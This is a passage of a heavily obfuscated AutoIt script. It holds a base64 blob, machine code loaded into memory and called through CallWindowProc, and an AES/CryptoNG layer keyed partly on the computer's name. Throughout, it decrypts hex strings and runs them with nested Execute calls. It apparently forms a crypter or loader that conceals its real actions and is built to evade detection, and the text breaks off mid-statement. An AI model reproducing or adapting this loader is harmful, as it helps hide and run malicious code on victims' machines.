'3EpYkW0jCkRwirkRqWolBEgIkT0hckfR2iQgSkyRzSFORPyIMRFJliV4SKCShSA+RtSIJRDabiT0SJiRpXeJEnxuJnhJ0JC5ILZGyIu5E+/aJTRJhJM5Ie5E+InFEl/WJaBcIkSwiYEQfyIv0SL6RRiLZREveidQS6C9RImtEKuWJFhe4kdciVUSUz4kQEgYkgUjwkUQiukTj84n+EsAkikitkbwiSEQE34nBEnUvcSIwRBoOiW0STCQUSDWRLyLhRKLMiTkSVyTySIKRRyKsROcriZUSoCSYSNGRfyJmRH6riYMSyiQpSNORPCJ5ROIdiXYSOyRWSE6RHn+LtEhskeQiXURu74mmEqgkpEg3kYsiMkRDWYm3EowkZEjSkeAitET6B4klEq8kjkjpkRgi1UWI3iRySCSR8SLHRFEjiXwSnCQhXqJE3IaJhRKQJEJIxJGqIthEBQGJEhKjJF9I+ZHQIpFEWCeL9Eg4kRMis0Qzu4lwEokkp0i2kSIikkQgSYn/EngkekiPkfgigEQX2okxEsYkuEjDkbAid0QRy4n8EtYkOkhjkXwid0R78olrEm8kxUgwkQEiZ0Qr/onXEqskdkjKkYIiyUV9yiRZSEeR8CKtRNSiia8SnCSkSHKRwCK3RP2TiSYSNiQ/SPeRzCI0RKXlifEScSTYSDGRFSIERMcjicMSGCSWSAWRmiIHRBKAieIS6yQnSLKRdSIJRIMsiRoX+JFuIlpEoFKJOxLWJLNIKZHjIi9EhFOJ0RcIke0iIET8sYlbEmoky13iRDlKiUwSWCTPSNCR7yKqRPtDiU0SMySFSEWR+SICRH9QiTwSnySoSFGRoyJARI+SiZ0SOCT1XuJEttqJIRIQJP9I85HSIs1EDBOJ7BJfJJdIRJEXIsREp36JPRJkJF1IGZFzImBEgU+J3BIiJCpIkJGIIkZE7riJFBLeJF5IC5HbIuBEMjqJChJJJAZIJJFcIsJE06yJYhKRJJVI5JF5IudFyP4kbUiNkdUiTkSpbIlWEvQk6khlkXoirkQIuol4' $744CAF38C3A39E4E&='EiUkLkgckaYitETG6IndEnQkH0hLkb0ii0SKcIk+ErUkZkhIkQMi9kQOYYk1ElckuUiGkcEiHUSe4Yn4EpgkEUhpkdkijkSUm4keEock6UjOkVUiKETfjImhEokkDUi/keYiQkRoQYmZEi0kD17iRFS7iRYSYyR8SHeReyLyRGtvicUSMCQBSGeRKyL+RNeriXYSyiSCSMmRfXGJWRJHJPBIrZHUIqJEr5yJpBJyJMBIt5H9IpNEJjaJPxL3JMxINJGlIuVE8XGJ2BIxJBVIBJHHIiNEwxiJlhIFJJpIB5ESIoBE4uuJJxKyJHVICZGDIixFGvokbkhakaAiUkQ71omzEikk40gvkYQiU0XRYwBZASIgRPyxiVsSaiTLXaJEOUqJTBJYJM9I0JHvIqpE+0OJTRIzJIVIRZH5IgJEf1CJPBKfJKhIUZGjIkBEj5KJnRI4JPVeokS22okhEhAk/0jzkdIizUQME4nsEl8kl0hEkRcixESnfok9EmQkXUgZkXMiYESBT4ncEiIkKkiQkYgiRkTuuIkUEt4kXkgLkdsi4EQyOokKEkkkBkgkkVwiwkTTrIliEpEklUjkkXki50XI+iRtSI2R1SJORKlsiVYS9CTqSGWReiKuRAi6iXgSJSQuSByRpiK0RMboid0SdCQfSEuRvSKLRIpwiT4StSRmSEiRAyL2RA5hiTUSVyS5SIaRwSIdRJ7hifgSmCQRSGmR2SKORJSbiR4ShyTpSM6RVSIoRN+MiaESiSQNSL+R5iJCRGhBiZkSLSQPXqJEVLuJFhBew1KXmBHRWovVvCCqqtZLB0A54wJnTyYIJ+Qg3FeAsxecNisBUFjDwAA=' Local $744CCF38C66C9E4E=String(_AES_CodeDecompress($744CAF38C3A39E4E)) $744C0538C36C9E4E=(StringInStr($744CCF38C66C9E4E,"87DB")- 3 )/ 2 $744CAF64C36C9E4E=(StringInStr($744CCF38C66C9E4E,"87C9")- 3 )/ 2 $744CAD38536C9E4E=(StringInStr($744CCF38C66C9E4E,"87D2")- 3 )/ 2 $744FAF38E36C9E4E=(StringInStr($744CCF38C66C9E4E,"87F6")- 3 )/ 2 $744CFF38136C9E4E=(StringInStr($744CCF38C66C9E4E,"09C0")- 3 )/ 2 $744CAF38C1EC9E4E=(StringInStr($744CCF38C66C9E4E,"09DB")- 3 )/ 2 $744CAA38C30C9E4E=(StringInStr($744CCF38C66C9E4E,"09C9")- 3 )/ 2 $744CAFA8C16C9E4E=(StringInStr($744CCF38C66C9E4E,"09D2")- 3 )/ 2 $744A5F38C36C9E4E=(StringInStr($744CCF38C66C9E4E,"09F6")- 3 )/ 2 $744C2F38A36C9E4E=(StringInStr($744CCF38C66C9E4E,"09FF")- 3 )/ 2 $7447A738C36C9E4E=(StringInStr($744CCF38C66C9E4E,"09E4")- 3 )/ 2 $744CA83EC36C9E4E=(StringInStr($744CCF38C66C9E4E,"09ED")- 3 )/ 2 $744CCF38C66C9E4E=Binary($744CCF38C66C9E4E) $744C1F38C3689E4E=_MemVirtualAlloc( 0 ,BinaryLen($744CCF38C66C9E4E),$744CAF37CD6C9E4E,$744CFFF8C36C9E4E) $744C6F38C36E9E4E=DllStructCreate("byte["&BinaryLen($744CCF38C66C9E4E)&"]",$744C1F38C3689E4E) DllStructSetData($744C6F38C36E9E4E, 1 ,$744CCF38C66C9E4E) OnAutoItExitRegister("_AES_Exit") EndFunc Func _AesPrepareKey($744CAF3823EC9E4E) $744CAF3823EC9E4E=Binary($744CAF3823EC9E4E) Switch BinaryLen($744CAF3823EC9E4E) Case 0 To 16 Local $744CFF38836C9E4E= 16 Case 17 To 24 Local $744CFF38836C9E4E= 24 Case Else Local $744CFF38836C9E4E= 32 EndSwitch Local $744C9F38C36E9E4E=DllStructCreate("byte["&$744CFF38836C9E4E&"]") DllStructSetData($744C9F38C36E9E4E, 1 ,$744CAF3823EC9E4E) Return DllStructGetData($744C9F38C36E9E4E, 1 ) EndFunc Func _AesEncryptKey($744CAF3823EC9E4E) If Not IsDllStruct($744C6F38C36E9E4E) Then _AES_Startup() $744CAF3823EC9E4E=_AesPrepareKey($744CAF3823EC9E4E) Local $7448AF38CB6C9E4E=DllStructCreate("byte[244]") Local $7441AF38C33C9E4E=DllStructCreate("byte["&BinaryLen($744CAF3823EC9E4E)&"]") DllStructSetData($7441AF38C33C9E4E, 1 ,$744CAF3823EC9E4E) DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($744C6F38C36E9E4E)+$744CAD38536C9E4E,"ptr",DllStructGetPtr($7448AF38CB6C9E4E),"ptr",DllStructGetPtr($7441AF38C33C9E4E),"uint",BinaryLen($744CAF3823EC9E4E)* 8 ,"int", 0 ) Return $7448AF38CB6C9E4E EndFunc Func _AesDecryptKey($744CAF3823EC9E4E) If Not IsDllStruct($744C6F38C36E9E4E) Then _AES_Startup() $744CAF3823EC9E4E=_AesPrepareKey($744CAF3823EC9E4E) Local $7448AF38CB6C9E4E=DllStructCreate("byte[244]") Local $7441AF38C33C9E4E=DllStructCreate("byte["&BinaryLen($744CAF3823EC9E4E)&"]") DllStructSetData($7441AF38C33C9E4E, 1 ,$744CAF3823EC9E4E) DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($744C6F38C36E9E4E)+$744FAF38E36C9E4E,"ptr",DllStructGetPtr($7448AF38CB6C9E4E),"ptr",DllStructGetPtr($7441AF38C33C9E4E),"uint",BinaryLen($744CAF3823EC9E4E)* 8 ,"int", 0 ) Return $7448AF38CB6C9E4E EndFunc Func _AesDecryptCBC(ByRef $7448AF38CB6C9E4E, ByRef $744CA638CE6C9E4E,$744BAF38C36C9E4E) If Not IsDllStruct($744C6F38C36E9E4E) Then _AES_Startup() If Not IsDllStruct($7448AF38CB6C9E4E) Then Return SetError( 1 , 0 ,Binary("")) $744BAF38C36C9E4E=Binary($744BAF38C36C9E4E) Local $744CAF98C3619E4E=Ceiling(BinaryLen($744BAF38C36C9E4E)/ 16 )* 16 If $744CAF98C3619E4E= 0 Then Return SetError( 1 , 0 ,Binary("")) Local $744CAF48C3BC9E4E=DllStructCreate("byte["&$744CAF98C3619E4E&"]") DllStructSetData($744CAF48C3BC9E4E, 1 ,$744BAF38C36C9E4E) Local $744CAF38C3679E4E=DllStructCreate("byte[16]") DllStructSetData($744CAF38C3679E4E, 1 ,$744CA638CE6C9E4E) DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($744C6F38C36E9E4E)+$744CAFA8C16C9E4E,"ptr",DllStructGetPtr($7448AF38CB6C9E4E),"ptr",DllStructGetPtr($744CAF48C3BC9E4E),"uint",$744CAF98C3619E4E,"ptr",DllStructGetPtr($744CAF38C3679E4E)) $744CA638CE6C9E4E=DllStructGetData($744CAF38C3679E4E, 1 ) Return DllStructGetData($744CAF48C3BC9E4E, 1 ) EndFunc Func _AesDecryptCFB(ByRef $7448AF38CB6C9E4E, ByRef $744CA638CE6C9E4E,$744BAF38C36C9E4E) If Not IsDllStruct($744C6F38C36E9E4E) Then _AES_Startup() If Not IsDllStruct($7448AF38CB6C9E4E) Then Return SetError( 1 , 0 ,Binary("")) Local $744CAF98C3619E4E=BinaryLen($744BAF38C36C9E4E) If $744CAF98C3619E4E= 0 Then Return SetError( 1 , 0 ,Binary("")) Local $744CAF48C3BC9E4E=DllStructCreate("byte["&$744CAF98C3619E4E&"]") DllStructSetData($744CAF48C3BC9E4E, 1 ,$744BAF38C36C9E4E) Local $744CAF38C3679E4E=DllStructCreate("byte[16]") DllStructSetData($744CAF38C3679E4E, 1 ,$744CA638CE6C9E4E) DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($744C6F38C36E9E4E)+$744C2F38A36C9E4E,"ptr",DllStructGetPtr($7448AF38CB6C9E4E),"ptr",DllStructGetPtr($744CAF48C3BC9E4E),"uint",$744CAF98C3619E4E,"ptr",DllStructGetPtr($744CAF38C3679E4E)) $744CA638CE6C9E4E=DllStructGetData($744CAF38C3679E4E, 1 ) Return DllStructGetData($744CAF48C3BC9E4E, 1 ) EndFunc Func _AesCryptOFB(ByRef $7448AF38CB6C9E4E, ByRef $744CA638CE6C9E4E,$744BAF38C36C9E4E) If Not IsDllStruct($744C6F38C36E9E4E) Then _AES_Startup() If Not IsDllStruct($7448AF38CB6C9E4E) Then Return SetError( 1 , 0 ,Binary("")) Local $744CAF98C3619E4E=BinaryLen($744BAF38C36C9E4E) If $744CAF98C3619E4E= 0 Then Return SetError( 1 , 0 ,Binary("")) Local $744CAF48C3BC9E4E=DllStructCreate("byte["&$744CAF98C3619E4E&"]") DllStructSetData($744CAF48C3BC9E4E, 1 ,$744BAF38C36C9E4E) Local $744CAF38C3679E4E=DllStructCreate("byte[16]") DllStructSetData($744CAF38C3679E4E, 1 ,$744CA638CE6C9E4E) DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($744C6F38C36E9E4E)+$7447A738C36C9E4E,"ptr",DllStructGetPtr($7448AF38CB6C9E4E),"ptr",DllStructGetPtr($744CAF48C3BC9E4E),"uint",$744CAF98C3619E4E,"ptr",DllStructGetPtr($744CAF38C3679E4E)) $744CA638CE6C9E4E=DllStructGetData($744CAF38C3679E4E, 1 ) Return DllStructGetData($744CAF48C3BC9E4E, 1 ) EndFunc Func _AesDecryptCBC_Pad(ByRef $7448AF38CB6C9E4E, ByRef $744CA638CE6C9E4E,$744BAF38C36C9E4E) $744BAF38C36C9E4E=_AesDecryptCBC($7448AF38CB6C9E4E,$744CA638CE6C9E4E,$744BAF38C36C9E4E) Local $744CAF98C3619E4E=BinaryLen($744BAF38C36C9E4E) For $744CAF18C36C9E4E=$744CAF98C3619E4E To $744CAF98C3619E4E- 16 Step -1 If BinaryMid($744BAF38C36C9E4E,$744CAF18C36C9E4E, 1 )=Binary("0x80") Then Return BinaryMid($744BAF38C36C9E4E, 1 ,$744CAF18C36C9E4E- 1 ) EndIf Next Return $744BAF38C36C9E4E EndFunc Func _AesDecrypt($744CAF3823EC9E4E,$744BAF38C36C9E4E,$744CAF28C35C9E4E=$744B7F38C36C9E4E) $744BAF38C36C9E4E=Binary($744BAF38C36C9E4E) If BinaryLen($744BAF38C36C9E4E)<= 16 Then Return SetError( 1 , 0 ,Binary("")) Local $744CA638CE6C9E4E=BinaryMid($744BAF38C36C9E4E, 1 , 16 ),$7448AF38CB6C9E4E,$744C6F38636C9E4E $744BAF38C36C9E4E=BinaryMid($744BAF38C36C9E4E, 17 ) Switch String($744CAF28C35C9E4E) Case "CFB",$744CAF3EA36C9E4E $7448AF38CB6C9E4E=_AesEncryptKey($744CAF3823EC9E4E) $744C6F38636C9E4E=_AesDecryptCFB($7448AF38CB6C9E4E,$744CA638CE6C9E4E,$744BAF38C36C9E4E) Case "OFB",$744CAD38C33C9E4E $7448AF38CB6C9E4E=_AesEncryptKey($744CAF3823EC9E4E) $744C6F38636C9E4E=_AesCryptOFB($7448AF38CB6C9E4E,$744CA638CE6C9E4E,$744BAF38C36C9E4E) Case Else $7448AF38CB6C9E4E=_AesDecryptKey($744CAF3823EC9E4E) $744C6F38636C9E4E=_AesDecryptCBC_Pad($7448AF38CB6C9E4E,$744CA638CE6C9E4E,$744BAF38C36C9E4E) EndSwitch If BinaryLen($744C6F38636C9E4E)= 0 Then Return SetError( 1 , 0 ,Binary("")) Return BinaryToString($744C6F38636C9E4E,$744C4F38C30C9E4E) EndFunc Func _AES_CodeDecompress($744CAF38C3A39E4E) If @AutoItX64 Then Return False Local $744CCF38C66C9E4E='0x89C0608B7424248B7C2428FCB28031DBA4B302E86D00000073F631C9E864000000731C31C0E85B0000007323B30241B010E84F00000010C073F7753FAAEBD4E84D00000029D97510E842000000EB28ACD1E8744D11C9EB1C9148C1E008ACE82C0000003D007D0000730A80FC05730683F87F770241419589E8B3015689FE29C6F3A45EEB8E00D275058A164610D2C331C941E8EEFFFFFF11C9E8E7FFFFFF72F2C32B7C2428897C241C61C389D28B442404C70000000000C6400400C2100089F65557565383EC1C8B6C243C8B5424388B5C24308B7424340FB6450488028B550083FA010F84A1000000733F8B5424388D34338954240C39F30F848B0100000FB63B83C301E8CD0100008D57D580FA5077E50FBED20FB6041084C00FBED078D78B44240CC1E2028810EB6B83FA020F841201000031C083FA03740A83C41C5B5E5F5DC210008B4C24388D3433894C240C39F30F84CD0000000FB63B83C301E8740100008D57D580FA5077E50FBED20FB6041084C078DA8B54240C83E03F080283C2018954240CE96CFFFFFF8B4424388D34338944240C39F30F84D00000000FB63B83C301E82E0100008D57D580FA5077E50FBED20FB6141084D20FBEC278D78B4C240C89C283E230C1FA04C1E004081189CF83C70188410139F374750FB60383C3018844240CE8EC0000000FB654240C83EA2B80FA5077E00FBED20FB6141084D20FBEC278D289C283E23CC1FA02C1E006081739F38D57018954240C8847010F8533FFFFFFC74500030000008B4C240C0FB60188450489C82B44243883C41C5B5E5F5DC210008D34338B7C243839F3758BC74500020000000FB60788450489F82B44243883C41C5B5E5F5DC210008B54240CC74500010000000FB60288450489D02B442438E9B1FEFFFFC7450000000000EB9956578B7C240C8B7424108B4C241485C9742FFC83F9087227F7C7010000007402A449F7C702000000740566A583E90289CAC1E902F3A589D183E103F3A4EB02F3A45F5EC3E8500000003EFFFFFF3F3435363738393A3B3C3DFFFFFFFEFFFFFF000102030405060708090A0B0C0D0E0F10111213141516171819FFFFFFFFFFFF1A1B1C1D1E1F202122232425262728292A2B2C2D2E2F3031323358C3' Local $744CAF18C86C9E4E=(StringInStr($744CCF38C66C9E4E,"89C0")- 3 )/ 2 Local $744CA478C36C9E4E=(StringInStr($744CCF38C66C9E4E,"89D2")- 3 )/ 2 Local $744CAF38C7609E4E=(StringInStr($744CCF38C66C9E4E,"89F6")- 3 )/ 2 $744CCF38C66C9E4E=Binary($744CCF38C66C9E4E) Local $744CDF3DC36C9E4E=_MemVirtualAlloc( 0 ,BinaryLen($744CCF38C66C9E4E),$744CAF37CD6C9E4E,$744CFFF8C36C9E4E) Local $744CA335C36C9E4E=DllStructCreate("byte["&BinaryLen($744CCF38C66C9E4E)&"]",$744CDF3DC36C9E4E) DllStructSetData($744CA335C36C9E4E, 1 ,$744CCF38C66C9E4E) Local $744CAF3FA36C9E4E=DllStructCreate("byte[16]") Local $744C2F38C3629E4E=StringLen($744CAF38C3A39E4E) Local $744CAF2DC36C9E4E=DllStructCreate("byte["&$744C2F38C3629E4E&"]") DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($744CA335C36C9E4E)+$744CA478C36C9E4E,"ptr",DllStructGetPtr($744CAF3FA36C9E4E),"int", 0 ,"int", 0 ,"int", 0 ) DllCall("user32.dll","int","CallWindowProc","ptr",DllStructGetPtr($744CA335C36C9E4E)+$744CAF38C7609E4E,"str",$744CAF38C3A39E4E,"uint",$744C2F38C3629E4E,"ptr",DllStructGetPtr($744CAF2DC36C9E4E),"ptr",DllStructGetPtr($744CAF3FA36C9E4E)) Local $744CAF38C2699E4E=DllStructGetData(DllStructCreate("uint",DllStructGetPtr($744CAF2DC36C9E4E)), 1 ) Local $744C9F39C36C9E4E=DllStructCreate("byte["&($744CAF38C2699E4E+ 16 )&"]") Local $744C6F38636C9E4E=DllCall("user32.dll","uint","CallWindowProc","ptr",DllStructGetPtr($744CA335C36C9E4E)+$744CAF18C86C9E4E,"ptr",DllStructGetPtr($744CAF2DC36C9E4E)+ 4 ,"ptr",DllStructGetPtr($744C9F39C36C9E4E),"int", 0 ,"int", 0 ) _MemVirtualFree($744CDF3DC36C9E4E, 0 ,$7443AF3DC36C9E4E) Return BinaryMid(DllStructGetData($744C9F39C36C9E4E, 1 ), 1 ,$744C6F38636C9E4E[ 0 ]) EndFunc Func _VarIsVar(ByRef $744CAF78C36C9E4E, ByRef $744CAF68C36C9E4E) $744CAF78C36C9E4E=$744CAF68C36C9E4E EndFunc Func _ArrayVarIsVar(ByRef $744CAF78C36C9E4E,$744CAF68C36C9E4E, ByRef $744CAF98C36C9E4E) $744CAF78C36C9E4E[$744CAF68C36C9E4E]=$744CAF98C36C9E4E EndFunc Func _VarIsArrayVar(ByRef $744CAF78C36C9E4E, ByRef $744CAF68C36C9E4E,$744CAF98C36C9E4E) $744CAF78C36C9E4E=$744CAF68C36C9E4E[$744CAF98C36C9E4E] EndFunc Func _ArrayVarIsArrayVar(ByRef $744CAF78C36C9E4E,$744CAF68C36C9E4E, ByRef $744CAF98C36C9E4E,$744CAF38C36C9E4E) $744CAF78C36C9E4E[$744CAF68C36C9E4E]=$744CAF98C36C9E4E[$744CAF38C36C9E4E] EndFunc Func _VarIsNumber(ByRef $744CAF78C36C9E4E,$744CA038C36C9E4E) $744CAF78C36C9E4E=Number($744CA038C36C9E4E) EndFunc Func _ArrayVarIsNumber(ByRef $744CAF78C36C9E4E,$744CAF68C36C9E4E,$744CA038C36C9E4E) $744CAF78C36C9E4E[$744CAF68C36C9E4E]=Number($744CA038C36C9E4E) EndFunc Global $744CAF38C16C9E4E = "" Global $744CAFE8C36C9E4E = 2 Global $744CAF38E36C9E4E[100] Global $744CAF38CA6C9E4E[100] For $744CAF38836C9E4E= 0 To UBound($744CAF38E36C9E4E)- 1 $744CAF38E36C9E4E[$744CAF38836C9E4E]= Null $744CAF38CA6C9E4E[$744CAF38836C9E4E]= Null Next $744CAF38E36C9E4E[0]="0x3CA86772DB0B25CBD8AC911792C2217A9DD04C218DAE0F4261BD76EF512838FBDE2BDA417829E56D62EDE396B376E2CC" $744CAF38E36C9E4E[1]=$744CAF38C16C9E4E $744CAF38E36C9E4E[2]=@ComputerName Global $744CAF38536C9E4E = -1 Global $744CAF38F36C9E4E = $744CAF36C36C9E4E Global $744CA338C36C9E4E = "Microsoft Primitive Provider" _CryptoNGinit4CC() Func _CryptoNGinit4CC() __CryptoNG_Startup() If @error Then MsgBox( 262144 + 4096 + 16 ,"Fatal CryptoNG Error","Unable to access bcrypt.dll"&@CR&_CryptoNG_LastErrorMessage(), 3 ) Exit 1 EndIf $744CAF38536C9E4E=__CryptoNG_BCryptOpenEncryptionAlgorithmProvider($744CAF38F36C9E4E,$744CA338C36C9E4E) If @error Then MsgBox( 262144 + 4096 + 16 ,"Fatal CryptoNG Error","Invalid Algorithm Provider"&@CR&_CryptoNG_LastErrorMessage(), 3 ) Exit 2 EndIf If $744CAF38F36C9E4E<>$744CAF38136C9E4E Then __CryptoNG_BCryptSetProperty($744CAF38536C9E4E,$744CAF38736C9E4E,$744CAF38936C9E4E) If @error Then If $744CAF38536C9E4E<>- 1 Then __CryptoNG_BcryptCloseAlgorithmProvider($744CAF38536C9E4E) MsgBox( 262144 + 4096 + 16 ,"Fatal CryptoNG Error","Invalid block chaining mode"&@CR&_CryptoNG_LastErrorMessage(), 3 ) Exit 5 EndIf EndIf $744CAF38CA6C9E4E[ 0 ]=_CryptoNGgetHandle() OnAutoItExitRegister("_CryptoNGcleanup") EndFunc Func _CryptoNGcleanup() For $744CAF38836C9E4E= 0 To UBound($744CAF38CA6C9E4E)- 1 If IsPtr($744CAF38CA6C9E4E[$744CAF38836C9E4E]) Then __CryptoNG_BcryptDestroyKey($744CAF38CA6C9E4E[$744CAF38836C9E4E]) Next $744CAF38E36C9E4E= Null $744CAF38CA6C9E4E= Null If $744CAF38536C9E4E<>- 1 Then __CryptoNG_BcryptCloseAlgorithmProvider($744CAF38536C9E4E) __CryptoNG_Shutdown() EndFunc Func _CryptoNGgetHandle($744CAFF8C36C9E4E= 0) Local $744CAF38CE6C9E4E=_CryptoNG_PBKDF2($744CAF38E36C9E4E[$744CAFF8C36C9E4E],$744CAF38E36C9E4E[$744CAFF8C36C9E4E], 123 ,$744CAF38C96C9E4E,$744CA438C36C9E4E) If @error Then MsgBox( 262144 + 4096 + 16 ,"Fatal CryptoNG Error","Invalid PBKDF2 call; CNG error = "&@CR&_CryptoNG_LastErrorMessage(), 3 ) Exit 1 EndIf $744CAF38CE6C9E4E=__CryptoNG_BCryptGenerateSymmetricKey($744CAF38536C9E4E,$744CAF38CE6C9E4E) If @error Then MsgBox( 262144 + 4096 + 16 ,"Fatal CryptoNG Error","Invalid keyhandle; CNG error = "&@CR&_CryptoNG_LastErrorMessage(), 3 ) Exit 4 EndIf Return $744CAF38CE6C9E4E EndFunc Func _MCFCNG(Const $744CAF38C86C9E4E,$744CAF08C36C9E4E= 0) Return __CryptoNG_BCryptDecrypt($744CAF38F36C9E4E,$744CAF38C86C9E4E,$744CAF38CA6C9E4E[$744CAF08C36C9E4E]) EndFunc Func _MCFCC(Const $744CAF38C86C9E4E,$744CAF08C36C9E4E= 0) Return _AesDecrypt($744CAF38E36C9E4E[$744CAF08C36C9E4E],$744CAF38C86C9E4E) EndFunc Execute(Execute(_MCFCNG('0xE6C3771C9768B8DA74EDD2D0A6DF6D054AEB8C83C801AB24DAF06344C569671443FBB5D9D26D65C861E0AD54300C8EBAF646DAE1BD44A42A69A82A4C8B7302F5164C7CFDE8D278D1BFE3D40BC23ABAF1'))) Func _dummyCalls() Execute(Execute(_MCFCNG('0xE70E89DBE5F6F3F7F330C103912F047AF3CD0B4329D762E6459BF5444F2FA17D36CC56E573AC26BD27F943DC961C6077400789A5A145FF70B0DB122D6DD3DAA28442EA08CB8A6B0F2231553151687B4B'))) Execute(Execute(_MCFCNG('0xBD8F564047AE0BA4EEAAF90D22EFAA8168F41FDEDF70E5F83EE3DE307BFAFE7744BE77CA80C92CE32D634670D1DA4B9A'))) Execute(Execute(_MCFCNG('0x5170AACE2445BC9A7E4B1510AB8563692050D1FB547809A86907D623B8521B87AD6E7E760ECCEE32D407C5BC563BB8D90AFA7DEF7974AB66F8210AF267BBD461D8ECB6FEA4630A306F693AA239332C2D'))) Local $744CAF78C36C9E4E= 0,$744CAF68C36C9E4E= 1,$744CAF98C36C9E4E[1] Execute(Execute(_MCFCNG('0xCB6DCE7102189B85E7CC74F8F004975A36D01824D3D4DFA86554969E2D41862AAA0BEEDCF95ADFFB0128AD4D5A03F3A293B667249936AAA2876BD61A011ADAC5D66CC08A5F30D2F0A85E9F5AF1C32A99B2C84C1A2851E3F58FDCDF92706A90206BC098ABA3EEF8AD626DB31160C65D7A'))) Execute(Execute(_MCFCNG('0xCBA23BBABCE2F10668E94654B4CF0EA379B1D8A001D568537C1766AD293C7037E562E480BBBB4D5B165883D5AC3F980AB8F1D2EAF86512F51151D7CA19D8CAF76D754A21361307A8A9F5253C53F7FB213B9F63489860A1D350F19DF58D2A2CE9436C9397E1B2F007A5AB58739B4AA0862799C7325961B37A667F4DFA031E633B0EFC07B71C2092739CC912EE3772BF99'))) Execute(Execute(_MCFCNG('0xC60F6B87E625A3DA6D3405D94FF33A9ABF798D85B700EEA5AC543F6D0256087A8AB2F3DB058684602095EC9CCA271FBB01209F65FB1DD0A332FC45A05391B7C220577479FF8F9F7000FE33FE12FB37D2B402A93990339E86AC44E35491E4B32AE02C66952EA47394D11F1AD706D8311943C08D4D06B7E6C08F819B5A52C6CA9901C35C3BB246B945ADF6775A5C7988D3'))) Execute(Execute(_MCFCNG('0x34CFB7E4DC0B176F07EF7FBE840998359761EB6441E174A2DFFA51E64DCB72CF93ED25DD6E83CD88775568279981063BCE436B4F018369702EF48B8F3C54BE4BF2BB84CFFD65140DB06A642098234E8B2D08631906153825A3477AECD069159F4183E2830473C2FD63BCCB5CA23CEC44AC92E00E2B499E4F7AFD7B89728B6DFCAF312595B914FB5909D5DACA23415A0D2119A1CEE5D4881750B6073E2AF34C30AFBD895A94C3DE09A4F5A83104F50893'))) Execute(Execute(_MCFCNG('0x456D8276CBDCBAD4640E5B6FC46B1E2448B5FC2DFEEE99CD81D73CF94F93D80E83DFC5E2B36457FB63E0A2D943E1C9B1421479DF11BBCBAF2C2A1F557FC758789CF3B4C491D2CC92A365EC9E56A7F6E37606D1DA6A541B67E246F1986F47EB4F85C8324A117645D3A020A512AC0E34D1'))) Execute(Execute(_MCFCNG('0x0ADA17C5AF18AE7B9F3DC2182F32DDDD756F93814C80845CDADE8FC7E419C30478AED3C30E19E556F89277D33605EE752F02DEDE22F6F33A4186F6E69498A97E85EA1363250557AC2F2EAD83AB5EA58B65BE6F972AF45890095A558E7ACDC3674F19987CC79E4B20BEB2CBD0403D4BCD35A1DA9422C43268412C75C8430A1BD2C3CD88B95E2D751BC85CE2472F88BC6B'))) EndFunc Func _MCFCC_Init($744CAF35C36C9E4E= 0,$744CA638C36C9E4E= True,$744CAA38C36C9E4E= False,$744CAF38C66C9E4E= True) If Execute(Execute(_MCFCNG('0xE1A6286932208267ADCEC45A53BCC9D4BE09739CCB5D1FB0DFB5091C9BDED1FE71D7C170718505EA2B767CD231DB01E164D7B0509D2035B33C0EC4B5F05567D39293A4B57CF2B7531C889E553692AA6B'))) Then $744CAF38E36C9E4E[3]=Execute(Execute(_MCFCNG('0xA8582602E4B0E2D17E688FB5E1ACED8B298C24BC41E24B5119571441972EFFC6AC7FAE02DB322B4940990C80FAFA8D42'))) $744CAF38E36C9E4E[4]=Execute(Execute(_MCFCNG('0x0489DB1E463CD7E56AD23B35140EF9183D940EC57257F42510B9AF05B964044EF1B6B75D6C92118A27310BC62E21010E'))) $744CAF38E36C9E4E[5]=Execute(Execute(_MCFCNG('0x0FB788E45DB8B2A8BCF1117506CE9EC3A03FFFB76A8CB696243F73B5F6EFF710CB50BACF06D439856261743787C5C86A')))&Execute(Execute(_MCFCNG('0x8E71D53B0EBBD50696A1BED639B4C9D981842ED8E4CE30AA98C47054ABB08E5BEC0EB797B3FC0381BA0789A20C2FC10A')))&Execute(Execute(_MCFCNG('0xF09D29FE86FEEB78FAB8B3975F37A9FE2C3788EB18D91596D61208719BC947BFD17D5A6A7A58111808D11A33CE527EBB'))) $744CAF38E36C9E4E[ 6 ]=Execute(Execute(_MCFCNG('0xCA5D9F9CDD08AB4D0E69251B59AA0C0FB78D00EA42C29B2A6BB96CEA72BFBAAE0E586D24A775BA993E3B1CCE670C1A1100CE5C7DE132BEB2DC9E4D8283227C18F4C310E76DC2EE324EEBFF0954D025BF'))) $744CAF38E36C9E4E[7]=Execute(Execute(_MCFCNG('0x15CFA3E9F52A6B224AD09D77CD59F22534EC1F8071D814CB1A25AAEE5613FA8D09D381474E326162996B51495603EA1EFCC43E7A033297628226B6D8DB1A54F7F8195BBD444098CBE59D3D7C0E9F9D98'))) EndIf If Execute(Execute(_MCFCNG('0xA537157CF45F0DBDDA16D2E8446532372EC8F0DA2854E614A7454851845EBFCD282BC61932210131AC8D3ABB031AE031C4710C5FEAAAAD9279D27A65A3DF0DB2AE652F1FE1CA3EB383F1034FB4CBE9268A1D6C6CE1CD2ED025A9982FFACB7E5AA35B77D02BC64F7512DAD5CD141C18B6B95F2CA4D0363A76F3858ABDF1A28D6F328FD0E364EB48404DE743F6AA3FEA48842D32CFAF543433875F36FE258649FA462DB0A95E63973287C70990227F2353'))) Then $744CAF35C36C9E4E= 1 $744CAF35C36C9E4E=Execute(Execute(_MCFCNG('0xA79958CD261C7AB3E67D1DFFB91ED400F82D49E73DCC1E28299B35DCBDCB0294B86649CC9E7331A4AA673FEE0C15D3DC64B04F8F985BD108DAF3FB31EC773CD78643ACA4247BCBF28627CC7F169E6503'))) If Execute(Execute(_MCFCNG('0x743C07806C16C3D40BDAD3CA57A0BE4BA56445AD4DD077D9AE4F784D0DF2B28712C1247AAAE649C1BAD4CE36E1FC5EAADD71B3F435C79BC7FDEC4FBAFE763BCC9DD7E71D6CF473D993B5196F81D3073B9FB9CA2487FCD995DAB0D2582CB9CC4F889A2F489D3FDE55E0297B33DD99DF7EEFB261BF10AF6375436391A0A34229438A760E2A00EDF11F16B6A971719999CDFADE802ECF75EF18729287DE79459859974BB7CA4D8CED4CEB619E82DAB99959'))) Then $744CAF35C36C9E4E= 1 If 